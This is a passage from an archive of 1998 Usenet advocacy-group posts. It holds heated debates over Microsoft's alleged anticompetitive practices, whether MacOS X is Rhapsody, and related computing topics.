stubborn to lie there and take it. You insist you can't say "harm in
the long term", and your support was "you can't say 'pregnant in the
long term' (though obviously you could). I tried to clarify with
"having a baby in the long term", and you jumped into chronological
inferences.
Well, it's another couple of paragraphs anyway. I've honestly gone over
your attempts often enough to feel rather confident that you are full of
it, at least on this point. But I'm almost positive that nobody else
could care less, so I'm not going to continue trying to explain it.
>> >I'm sure you didn't mean that. One could infer a great deal from such a
>> >statement.
>>
>> A troll can infer a great deal of incorrect things from any statement.
>> The fact that you do not know of companies that are not in business any
>> longer is hardly surprising, now is it?
>
>Let's stick to the basic inference, and the basic fact: you don't have
>the names of any such companies, and you still haven't produced any.
Wow. Incredible. I DON'T KNOW the names of such companies. YOU ARE
RIGHT! CONGRATULATIONS! Whaddayawant a friggen medal?
I believe your inference is that because T. Max Devlin doesn't have a
list of companies off the top of his head (though I do wonder if Stacker
is still in business), that means that no companies have ever gone out
of business because of Microsoft's anticompetitive business practices?
Just checking.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 14 Jun 1998 00:44:52 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lvkg4$msk$1@crib.corepower.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
In article <6lsf8c$6bc@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> Nathan Urban <nurban@vt.edu> wrote:
> : In article <6lrcps$b9@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> : > : That may not be the case (I think RDR2 isn't even binary compatible
> : > : with RDR1). But they'll be source-level compatible, at least in the
> : > : forward direction (Rhapsody to OS X).
> : > Right, just like they'll be source-level compatible to NT. Does that mean
> : > NT is Rhapsody?
> : Don't be an idiot. I never claimed that source-level compatibility
> : meant that MacOS X is Rhapsody. There are plenty of _other_ reasons to
> : believe that (such as the same Mach/BSD core).
> What I find amusing is how far you are willing to bend the word "is". You
> say that MacOS will not run Rhapsody binaries, but it "is" Rhapsody
> because they share some ill defined core.
Mach/BSD Unix/Yellow Box makes it Rhapsody in my book. There is far more
to it than simple-minded binary compatibility; if RDR2 doesn't run RDR1
binaries, does that mean that RDR2 is "not Rhapsody"? Obviously not;
they share Mach, BSD, Yellow, and lots of other things.
> It's like an Apple spokesman is at the front of the room with a white
> cardboard box labeled "MacOS X". He says "Rhapsody is dead, but this box
> contians the same core technology as Rhapsody". In the back of the room
> you turn to me and say "Ahh, MacOS is Rhapsody".
> Well, not many people will disagree ... because most people just left the
> room.
Please explain just how MacOS X is _not_ Rhapsody in any important way.
(Perhaps you'd count the change in imaging model? I wouldn't.. if they
had announced that Rhapsody 1.0 would have a different imaging model but
the same everything else, I'd say that it was the same product, even if
they changed the name. Likewise, the addition of Carbon doesn't make it
"not Rhapsody" in my book.)
The real question is: will you be able to do the things on MacOS X
that you would have done on Rhapsody? The answer is pretty much "yes"
other than things like loss of NSHosting due to the imaging model.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 14 Jun 1998 00:32:08 -0400
Organization: BM
Message-ID: <6lvjg0$ov0$2@bolivia.it.earthlink.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>
<6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com>
<6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu>
<joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca>
<357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu>
<357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu>
<X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca>
<rmcassid-1006981118370001@dante.eng.uci.edu>
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In article <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca> ,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>The information was from an Apple press
>release. WebObjects is Apple's second highest software revenue stream.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: Sun, 14 Jun 1998 00:39:27 -0400
Organization: BM
Message-ID: <6lvjto$pkm$1@bolivia.it.earthlink.net>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu>
<6lpd91$5c5$1@news.digifix.com>
<slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<rmcassid-1106982334500001@dialin9229.slip.uci.edu>
<6lt53s$rkc$1@suriname.it.earthlink.net>
<rmcassid-1306980246400001@dialin33422.slip.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
>Throw PGML in and you'll be right there. But then PDF has been submitted
>as an open standard. There is still no sign of a CSS and embedded fonts
>file driver, though, which makes PDF the force to compete with.
If Microsoft follows through and implements XML with Office (as I think they
will for totally selfish reasons :-) I think the activity in that camp will go
into overdrive. I might even start liking Microsoft if they deliver XML to the
rest of us.
Ziya
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 04:34:11 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e4522b.268610252@news.supernews.com>
References: <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu>
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rmcassid@uci.edu (Robert Cassidy), on Fri, 12 Jun 1998 00:04:35 -0800,
>In article <35809E8C.8E3F239A@nstar.net>, "Michael J. Peck"
><mjpeck@nstar.net> wrote:
>
>> That's a good statement, one not easily forgotten. So the 'ignorant
>> masses' are unfit to spend their own money as they choose, I see it now.
>> Better that 'industry experts' instruct their purchases by power of
>> political maneuver.
>
>So there should be no consumer protection then? For that only undermines
>the free will of the consumer. So no need for prescriptions for drugs,
>licenses for handguns or automobiles, and three cheers for the
>introduction of General Mills Crack Cocaine for the government is
>preventing me from spending my own money as I choose. Thank God I'll
>finally be able to put that physics degree to work and build my very own
>nuclear device. God bless America.
You are beginning to approximate the position religiously held (until
someone rear-ends them without insurance) by many of the flakier
members, and even some of the less flaky members, of the libertarian
party. Which is why, despite our common principles, I no longer
participate in that organization.
And I do believe that Mike Peck could stretch the definition of the word
"flakey" to some surprising extremes.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 04:31:21 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e35156.268398126@news.supernews.com>
References: <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Fri, 12 Jun 1998 22:01:18
>>
>> MS compells and constrains OEMs to sell ONLY MS operating systems.
>
>No, it does not. Read the licensing agreements. OEMs are in *no way*
>forced to sell MS operating systems. VA Research is only one example of
>an OEM that does NOT sell MS operating systems.
The license agreement is what is negotiated after the compelling and
constraining by a monopoly supplier is done. Notice how VA Research is
_only one example of an OEM managing to stay profitable without Windows,
and they happen to be the only example I have ever heard of, despite the
routine cross-posts to Linux and NT advocacy groups in these threads.
Think maybe we could luck out, and get a _second_ example?
>
>> This force, applied to OEMs has the effect of suppressing opposition.
[The rest of this crud snipped, because anyone who argues that force
means violence is arguing from a false position]
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 04:42:49 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e553e0.269047457@news.supernews.com>
References: <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <6lquft$1dmi@yuma.ACNS.ColoState.EDU> <rmcassid-1206981500420001@dante.eng.uci.edu> <3581B6CC.AF72F7DE@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Fri, 12 Jun 1998 23:16:28
>Robert Cassidy wrote:
[...]
>> Unfortunately, the antarctic ice sheets might just give way before that
>> happens and kill off 30% of the world population. But on the bright side,
>> at least we've preseved a free economy...
>
>Please, Bob, you were doing so well about the 'evidence' thing, now you
>make this claim. Where is your evidence for this scenario?
>
>MJP
I don't know whether this is a brilliant lampoon of a troll, or the most
pathetic example of a troll, I have ever seen. And what is most
confusing is that I already know that Mike Peck is a troll, so that
would make it self-depracating humor, but trolls don't post
self-depracating humor, so Peck couldn't be a troll, but then it would
be a troll, which would make Peck a troll....
AUAAUAGHAGHGGHG!
:-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 04:59:19 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e6561d.269620842@news.supernews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <6lrj02$hlm$14@gte1.gte.net>
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roger@. (Roger), on Fri, 12 Jun 1998 16:02:37 GMT,
>On Wed, 10 Jun 1998 01:24:32 GMT, someone claiming to be T. Max Devlin
>wrote:
[more Roger]
>>This is a troll. I don't know if you have a valid point here, but if
>>you disagree, a cogent argument, not ridicule, is what is called for.
>
>Pot. Kettle. Black.
Yes, I know. Any time I point out that someone is being a troll, I'm
being a troll. Any time I point out that someone is being illogical,
I'm being illogical. Any time I point out that someone is being
unreasonable, I'm being unreasonable.
But at least I'm distracting you for just a few moments, and that's one
less conversation you'll be able to interrupt with "prove it!"
>>And I also don't see why the qualifier "long term" is not germane to the
>>claim that convicting Microsoft would hurt the industry.
>
>Since absolutely no-one can reliable claim any knowledge of the
>long-term effects of anything in this industry.
Absolutely no-one can reliably claim _any_ knowledge of the long _or_
short term effects of anything in any industry. It is called
"predicting the future", if you expect that kind of "I said therefore it
will be" crap. If I'm not mistaken, someone familiar with the industry
and the issues said "I don't think harming Microsoft will harm the
industry in the long run" and the trolls ambushed him from three sides.
Luckily, he took off back the way he came, I think. I'm just here
covering his retreat. ;-)
>And BTW, Max, could you please stop snipping the attributions of what
>you quote? Makes it difficult to properly respond if only your
>response makes it to a given server.
Generally, I don't snip attribs, and often take pains to continue, and
even reconstruct them. Sorry if I dropped some by mistake.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 05:25:47 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35835EDB.25D80D9A@nstar.net>
References: <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <35e35156.268398126@news.supernews.com>
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NNTP-Posting-Date: 14 Jun 1998 05:30:47 GMT
T. Max Devlin wrote:
> The license agreement is what is negotiated after the compelling and
> constraining by a monopoly supplier is done. Notice how VA Research is
> _only one example of an OEM managing to stay profitable without Windows,
> and they happen to be the only example I have ever heard of, despite the
> routine cross-posts to Linux and NT advocacy groups in these threads.
>
> Think maybe we could luck out, and get a _second_ example?
You could take me, for an example. I have sold homemade PCs for a while,
making a reasonable profit, and could make more if I weren't selling
mostly to friends. I don't install Windows on PCs, but generally use
something else (mostly Linux, I guess).
Or you could take the example of Sun's licensees. Sun has a dozen or so
licensees of the Solaris operating system, many of whom sell on the x86
platform.
Whistle Corp. sells its InterJet office connectivity product on x86
hardware running FreeBSD, if I'm not mistaken. Corel Computer Corp.
sells a product it calls the VNC, and it runs Linux on both client and
server.
> [The rest of this crud snipped, because anyone who argues that force
> means violence is arguing from a false position]
Again, argue with your nearest dictionary. I've already made this point,
ball's in your (collective) court.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 05:31:40 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3583603C.C5C9C47F@nstar.net>
References: <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <6lquft$1dmi@yuma.ACNS.ColoState.EDU> <rmcassid-1206981500420001@dante.eng.uci.edu> <3581B6CC.AF72F7DE@nstar.net> <35e553e0.269047457@news.supernews.com>
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NNTP-Posting-Date: 14 Jun 1998 05:36:38 GMT
T. Max Devlin wrote:
> I don't know whether this is a brilliant lampoon of a troll, or the most
> pathetic example of a troll, I have ever seen. And what is most
> confusing is that I already know that Mike Peck is a troll, so that
> would make it self-depracating humor, but trolls don't post
> self-depracating humor, so Peck couldn't be a troll, but then it would
> be a troll, which would make Peck a troll....
No offense taken, but seriously, I put a lot of effort into posting
serious and engaging text to this thread. I wonder if you'd reciprocate
(and even cut down on the juvenile chatter, it's getting old in a
hurry)...
MJP
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 14 Jun 1998 01:24:45 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <897804434.705391@kelp.mbay.net>
References: <357C11AF.D1BF8149@technologist.com> <SCOTT.98Jun10093531@slave.doubleu.com> <35805722.853FAC1E@wildfire.com> <rmcassid-1106981617130001@dante.eng.uci.edu>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
In article <rmcassid-1106981617130001@dante.eng.uci.edu>,
Robert Cassidy <rmcassid@uci.edu> wrote:
>In article <35805722.853FAC1E@wildfire.com>, Tony Lovell
><tone@wildfire.com> wrote:
>
>>I'll hijack your meaning here and say that adding a battery to a VCR
>>would be dumb. Adding a means to take a global time reading off the
>>blanking interval in a broadcast video signal is a much better solution!
>>
>>It would be the one clock in your life that was correct (for most of
>>us).
>
>Does that mean you need to teach your VCR what timezone and daylight
>savings time scheme it's in?
That's for the on-board GPS receiver.
(Either that, or a flashing "PDT" every time the power goes off :-\)
--
Don McGregor | "I didn't say all the things I said."
mcgredo@mbay.net | --Yogi Berra
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:01:35 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35d9ff5f.247411870@news.supernews.com>
References: <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <6lmpoa$26lc@yuma.ACNS.ColoState.EDU> <357EF1E0.F83BE28C@nstar.net> <slrn6nttma.148.jason@jhste1.dyn.ml.org> <6ln7s7$o45$1@camel21.mindspring.com> <35957d14.17413597@news.supernews.com> <35800751.9EF8CE04@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Thu, 11 Jun 1998 11:35:29
-0500,
>T. Max Devlin wrote:
>
>> Mr. Peck, I think you have to take a position and stick with it.
>> Competition in the marketplace is either a blood sport (to the winner go
>> the spoilers, no points for second place, destroy the competition), or
>> you think it is fair play. Which is it? I don't really think that
>> anyone engaged in a fight to the death is all that concerned with "fair
>> play", do you?
>
>If we can now overlook your inappropriate comparison of competition to
>"bloodsport",[...]
Not my comparison; I picked it up from the Microsoft apologists, who
believe that anything short of physical force is legal.
> I would simply say that competition and fairness are not
>antithetical.
And I said they were? I said believing that competition is transcendent
over fairness is antithetical. Competition cannot exist is a civilized
society without a healthy amount of cooperation between competitors. If
you agree that business is not a blood sport, and that commerce requires
ethics, what are you trying to argue against?
> Whatever makes you think that they are?
Nothing. What ever made you think I think they are? The fact that I
guessed (obviously incorrectly, though the odds were very much in my
favor) that you were another Microsoftee that _does_ believe competition
and fairness are incompatible, and that blood-sport competition is the
entire point of commerce? Sorry; I guess I got ahead of myself. We
seem to agree that business requires ethics as an internal control; can
we agree that Microsoft has demonstrated a lack of them?
> What would
>fairness be *without* competition, I wonder? And when has my position on
>this seemed fluid to you?
If I am not mistaken, you believe that Microsoft has done nothing wrong.
How on earth do you jibe these two views, which from everything I can
see are contradictory? If you are for competition, then I would expect
you would be for limiting Microsoft somehow, since they don't have any
effective competition. I would think your whole _position_ is fluid.
Either that, or I just don't get it.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:01:40 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35dc16d0.253413303@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <6lrj04$hlm$15@gte1.gte.net>
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roger@. (Roger), on Fri, 12 Jun 1998 16:02:40 GMT,
[...]
>>"restraint of trade is illegal". Well, OK, I admit, it is not an exact
>>quote, but it is the text (not just the jist) of the basic statute. I
>>imagine that you will fail to see how destroying the competition is
>>restraint of trade. Then again, you fail to see a lot of things.
>
>Like Max actually supplying proof when he's asked. Of course, this is
>mainly due to the fact that he rarely (never? I can't recall an
>instance...) does.
Never would be more accurate, Roger. I never supply proof, only
reasoned and logical substantiation for my arguments, when asked
politely. But I'm not hear to supply proof, I'm here to engage in
intelligent discussion. If you can't keep up, I invite you to go browse
the web instead of clogging up this newsgroup with your trolls.
>>Microsoft's monopoly suppresses or prevents competition.
>
>Assertion: Logic would dictate that you need to prove that MS
>suppresses or prevents competition successfully enough to negatively
>impact the industry.
Logic would suggest that this is something the Department of Justice is
already engaged in doing, appropriately. My assertion stands until you
reasonably refute it, regardless of whether it does or does not reflect
reality.
>>Hurting Microsoft is therefore good for the industry.
>
>Nope. You've left out several steps in your proof.
You missed the point entirely, and I'm not here to play games.
Have a nice day.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:01:37 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35db033c.248401035@news.supernews.com>
References: <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM> <6lmpoa$26lc@yuma.ACNS.ColoState.EDU> <357EF1E0.F83BE28C@nstar.net> <35927b86.17015590@news.supernews.com> <35800F35.1BB4C80E@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Thu, 11 Jun 1998 12:09:09
-0500,
>T. Max Devlin wrote:
>
>> >This is a twisty argument, indeed. Kindly explore the basis upon which
>> >Microsoft is a monopoly. In operating systems? In Internet browsers?
>>
>> It ain't as twisty after we've ironed it out a million times. Microsoft
>> is performing actions which only a monopoly can perform, therefore it is
>> a monopoly. Now shall we start at how 85%+ market share allows them to
>> make outrageous demands on their customers, or how the use of their OS
>> distribution channels to devalue the browser market is leveraging a
>> monopoly in one market to dominate another?
>
>I personally found it outrageous that Netscape in 1996, with over 85% of
>the browser market, asked me to pay $50 for an HTML rendering engine
>with an attached FTP client.
Why? And do you really think that's all Netscape is? And if it was so
outrageous, why didn't you just not buy it, and download the free
Mosaic? If you didn't want to buy it, nobody held a gun to your head.
;-)
> Happily, Microsoft has used its "monopoly"
>power to remedy the situation: I now have access to my choice of
>browsers, for free! Predictably, the market share between the two
>companies is split roughly in half.
Excuse me? Are you trying to tell me there is supposed to be some logic
to these statements?
>
>But you mentioned something about domination, and impending evidence
>from your side of the argument. I'm waiting with bated breath.
I'm sorry. My position is that if the last twenty years of history
cannot adequately illustrate the problem, then there is little I'm going
to be able to add. I will gladly clarify any questions you may have
about why Microsoft is being charged with anti-trust violations, and why
they will almost definitely be convicted, and why that will not be a bad
thing for Microsoft, users, or other businesses, and will in fact be
good for everyone (except the gov't, or should I say the taxpayers, who
had to waste time forcing MS to engage in fair competition). But if you
want me to explain the whole thing to you, I'm going to have to charge
you, and I don't really think you want to hear my hourly rate.
>
>Please forgive me, that's based on an inference I made from another
>posting of yours. After you failed to produce the names of companies
>that have been "destroyed" by Microsoft,
I never made any such claims, but laughed my ass off when all you trolls
jumped all over the guy who did and said "prove it!" It was hilarious.
Now are you honestly saying that you really believe that MS's
anticompetitive business practices over the last fifteen years have
_never_ caused any company to go under? Don't make me laugh (again).
> and Mr. Pyeatt claimed that
>"going out of business" could be fulfilled in terms of discontinuing a
>product line, I just drew the conclusion that this lack of "semantic
>difference" was a forgone conclusion.
>
>Was I wrong to think so? Can you clarify the matter for me?
Yes, I'll be happy to clarify the matter. You are trolling.
Is that clear enough?
>> You just going to slide
>> that line right on back until anything short of explosive devices
>> couldn't possibly be anti-competitive, aren't you?
>
>Well, no, but I've got a lot of ground to cover before we get there,
>anyway. The phrase "anti-competitive" has become such a favored
>catch-all in the impassioned polemics of "monopoly breakers" that any
>sort of stricture in its use is welcome to my ears.
>
>If you'd like to try your hand at defining it, please, by all means, go
>ahead. Otherwise, it's open season, isn't it?
Anti-competitive; taking actions which are intentionally designed to
result in the lessening of the alternatives available to a consumer in
the marketplace in order to enhance one's own profits, market position
or power. See "restraint of trade"; also "anti-trust action, reference
"the Sherman Act", U.S. Law.
It should be pointed out, since I doubt all the people who think
anticompetitive business practices are a myth, that truly
anti-competitive practices are _usually_ only available to monopolies,
since anyone with less dominance in negotiations could not get away with
arranging such agreements or taking such actions. This is the easiest
way to discern anti-competitive from competitive. If you have to be a
monopoly for it to work, then it is often anti-competitive, because
monopolies are not allowed to act in ways that only monopolies can act,
according to the principles of U.S. Law as supported by precedent, the
Sherman Act, and others.
If you wish to insist that these laws are not valid, I invite you to
take your Microsoft stock and move overseas.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 06:01:42 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35dd281f.257844934@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <6lrj04$hlm$15@gte1.gte.net>
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roger@. (Roger), on Fri, 12 Jun 1998 16:02:40 GMT,
>On Wed, 10 Jun [me, of course, still trying to be reasonable]
[...]
>>>No, that's precisely the problem. You keep peppering irrelevant and
>>>scattered commentary with sophomoric remarks on my ability to follow
